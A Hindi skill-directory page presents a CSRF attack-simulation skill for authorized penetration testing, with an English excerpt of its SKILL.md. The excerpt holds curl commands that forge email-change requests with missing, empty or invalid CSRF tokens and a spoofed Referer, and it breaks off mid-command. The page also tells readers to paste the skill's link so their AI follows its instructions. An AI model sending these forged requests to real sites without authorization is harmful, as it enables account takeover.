मुख्य सामग्री पर जाएँ
Skillpedia
सिक्योरिटी35k · #8213

performing-csrf-attack-simulation

यह क्या करती है

यह टूल जांचता है कि कोई वेबसाइट CSRF नाम के एक खास हमले से सुरक्षित है या नहीं। यह दिखाता है कि हमलावर लॉग-इन यूज़र को बिना उसकी जानकारी के अनचाही कार्रवाई करने के लिए कैसे फँसा सकता है।

कब इस्तेमाल करें

  • ✓ऐसी वेबसाइट की सुरक्षा जांचते समय जिसे जांचने की आपको अनुमति है।
  • ✓यह देखने के लिए कि CSRF हमले से बचाव के उपाय काम कर रहे हैं या नहीं।
  • ✓पासवर्ड बदलने या पैसे ट्रांसफ़र जैसे ज़रूरी फ़ीचर की जांच करते समय।

Skill का लिंक

https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/performing-csrf-attack-simulation/SKILL.md

इसे कॉपी करके अपने AI (Claude, ChatGPT या Cursor) में पेस्ट करें और निर्देशों का पालन करने को कहें।

कैसे इस्तेमाल करें

सबसे आसान तरीका: मैसेज कॉपी करके अपने AI में पेस्ट करें। वह skill पढ़कर निर्देशों का पालन करेगा।

पेस्ट करने के लिए तैयार मैसेज

इस skill से मेरी मदद करो: https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/performing-csrf-attack-simulation/SKILL.md इस लिंक की SKILL.md फ़ाइल पढ़ो और मेरे काम में उसके निर्देशों का पालन करो।
क्या आप चाहते हैं कि आपका AI ऐसी skills खुद ढूँढे?मुफ़्त Skillpedia MCP इंस्टॉल करें: बस एक लाइन, और हर काम से पहले यह 15,000+ skills में खोजता है।1 मिनट में इंस्टॉल करें →

AI से क्या माँगें: उदाहरण

“एक लॉग-इन यूज़र का ईमेल पता बदलने के लिए CSRF हमले की सिमुलेशन करो।”

हर हफ़्ते 5 नई skills, 1 मिनट में पढ़ें।

यह कैसे काम करती है

टूल ऐसी कार्रवाइयाँ ढूंढता है जो वेबसाइट पर जानकारी बदलती हैं, और उन्हें इस तरह चलाने की कोशिश करता है जैसे यूज़र खुद कर रहा हो। फिर यह जांचता है कि इसे रोकने के लिए वेबसाइट अतिरिक्त पुष्टि मांगती है या नहीं।

तकनीकी सामग्री (मूल SKILL.md)

लेखक का मूल टेक्स्ट, अंग्रेज़ी में, सीधे GitHub से।

Performing CSRF Attack Simulation

When to Use

  • During authorized web application penetration tests to identify state-changing actions vulnerable to CSRF
  • When testing the effectiveness of anti-CSRF token implementations
  • For validating SameSite cookie attribute enforcement across different browsers
  • When assessing applications that perform sensitive operations (password change, fund transfer, settings modification)
  • During security audits of custom authentication and session management mechanisms

Prerequisites

  • Authorization: Written penetration testing agreement for the target
  • Burp Suite Professional: With CSRF PoC generator functionality
  • Web server: Local HTTP server for hosting CSRF PoC pages (Python http.server)
  • Two browsers: One authenticated as victim, one as attacker
  • Target application: Authenticated session with valid test credentials
  • HTML/JavaScript knowledge: For crafting custom CSRF payloads

Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

Workflow

Step 1: Identify State-Changing Requests

Browse the application and identify all POST/PUT/DELETE requests that modify server-side state.

# In Burp Suite, review Proxy > HTTP History
# Filter for POST/PUT/DELETE methods
# Focus on actions like:
# - Password/email change
# - Fund/money transfers
# - Account settings modifications
# - Adding/removing users or permissions
# - Creating/deleting resources
# - Toggling security features (2FA disable)

# Example state-changing request captured in Burp:
POST /api/account/change-email HTTP/1.1
Host: target.example.com
Cookie: session=abc123def456
Content-Type: application/x-www-form-urlencoded

email=newemail@example.com

# Check for anti-CSRF protections:
# - CSRF tokens in form fields or headers
# - Custom headers (X-CSRF-Token, X-Requested-With)
# - SameSite cookie attribute
# - Referer/Origin header validation

Step 2: Analyze Anti-CSRF Token Implementation

Test the strength and enforcement of any CSRF protections present.

# Check if CSRF token is present
curl -s -b "session=abc123" \
  "https://target.example.com/account/settings" | \
  grep -i "csrf\|token\|_token"

# Test 1: Remove the CSRF token entirely
curl -s -X POST \
  -b "session=abc123" \
  -d "email=test@evil.com" \
  "https://target.example.com/api/account/change-email" \
  -w "%{http_code}"

# Test 2: Send empty CSRF token
curl -s -X POST \
  -b "session=abc123" \
  -d "email=test@evil.com&csrf_token=" \
  "https://target.example.com/api/account/change-email" \
  -w "%{http_code}"

# Test 3: Use a random/invalid CSRF token
curl -s -X POST \
  -b "session=abc123" \
  -d "email=test@evil.com&csrf_token=AAAAAAAAAA" \
  "https://target.example.com/api/account/change-email" \
  -w "%{http_code}"

# Test 4: Reuse an expired/old CSRF token
curl -s -X POST \
  -b "session=abc123" \
  -d "email=test@evil.com&csrf_token=previously_captured_token" \
  "https://target.example.com/api/account/change-email" \
  -w "%{http_code}"

# Test 5: Use User B's CSRF token with User A's session
curl -s -X POST \
  -b "session=user_a_session" \
  -d "email=test@evil.com&csrf_token=user_b_csrf_token" \
  "https://target.example.com/api/account/change-email" \
  -w "%{http_code}"

Step 3: Check SameSite Cookie and Header Protections

Verify browser-level and header-based CSRF defenses.

# Check SameSite attribute on session cookies
curl -s -I "https://target.example.com/login" | grep -i "set-cookie"
# Look for: SameSite=Strict, SameSite=Lax, or SameSite=None

# SameSite=Lax allows CSRF on top-level GET navigations
# SameSite=None; Secure allows cross-site requests
# No SameSite attribute: browser defaults to Lax (modern browsers)

# Check for Origin/Referer header validation
# Send request with no Referer
curl -s -X POST \
  -b "session=abc123" \
  -H "Referer: " \
  -d "email=test@evil.com&csrf_token=valid_token" \
  "https://target.example.com/api/account/change-email" \
  -w "%{http_code}"

# Send request with evil Referer
curl -s -X POST \
  -b "session=abc123" \
  -H "Referer: https://evil.example.com/attack" \
  -d "email=test@evil.com&csrf_token=valid_token" \
  "https://target.example.com/api/account/change-email" \
  -w "%{http_code}"

# Send request with spoofed Origin
curl -s -X POST \

…
अक्सर पूछे जाने वाले सवाल

CSRF हमला क्या है?

CSRF (Cross-Site Request Forgery) एक ऐसा हमला है जिसमें लॉग-इन यूज़र के ब्राउज़र को धोखे से वेबसाइट पर एक खतरनाक रिक्वेस्ट भेजने पर मजबूर कर दिया जाता है, और यूज़र को पता भी नहीं चलता।

क्या इस टूल को इस्तेमाल करने के लिए अनुमति चाहिए?

हाँ, इसे केवल उन्हीं सिस्टम पर इस्तेमाल किया जा सकता है जिनकी सुरक्षा टेस्टिंग के लिए आपके पास साफ़ लिखित अनुमति हो।

इसके लिए कौन से टूल चाहिए?

आपको Burp Suite Professional और टेस्ट चलाने के लिए एक लोकल सर्वर जैसे टूल चाहिए होंगे।

जानकारी

लेखक का मूल विवरण

Testing web applications for Cross-Site Request Forgery vulnerabilities by crafting forged requests that exploit authenticated user sessions during authorized security assessments.

repo: mukul975/Anthropic-Cybersecurity-Skills

लोकप्रियता

GitHub स्टार
35k
रैंकिंग में स्थान
#8213
लाइसेंस
Apache-2.0
अपडेट की गई
31/8/2026

क्या यह skill काम की है?

0

लॉग इन करें वोट करने के लिए।

कमेंट

  • …

इस repository की और skills

मिलती-जुलती skills